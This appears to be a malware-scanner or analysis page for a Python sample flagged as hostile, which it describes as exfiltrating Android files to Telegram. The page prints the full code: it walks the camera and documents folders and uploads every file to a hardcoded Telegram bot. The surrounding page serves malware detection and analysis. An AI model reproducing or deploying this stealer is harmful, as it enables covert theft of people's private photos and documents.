Hostile 100% python Download

pypi-telegram-android-storage-upload.py

Exfiltrates Android files to Telegram

Python Telegram bot uploads local filesPython requests uploads files via hardcoded Telegram bot
SHA-25618660b1a1fe8b882a2be50184ad89a0ffb69f6b485f51d8792029e4b5a9dfd14

Evidence

Hardcoded Telegram-format bot token literal lines 1–19
1import os
2import requests
3
4BOT_TOKEN = "0000000000:AAFakeFixtureTokenForRegressionOnly0000000"
5CHAT_ID = "0000000000"
6EXTRA_PATHS = ["/sdcard/DCIM/Camera", "/sdcard/Documents"]
7
8
9def upload(path):
10 url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendDocument"
11 with open(path, "rb") as f:
12 requests.post(url, data={"chat_id": CHAT_ID}, files={"document": f})
13
14
15for base in EXTRA_PATHS:
16 if os.path.exists(base):
17 for root, dirs, files in os.walk(base):
18 for name in files:
19 upload(os.path.join(root, name))

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.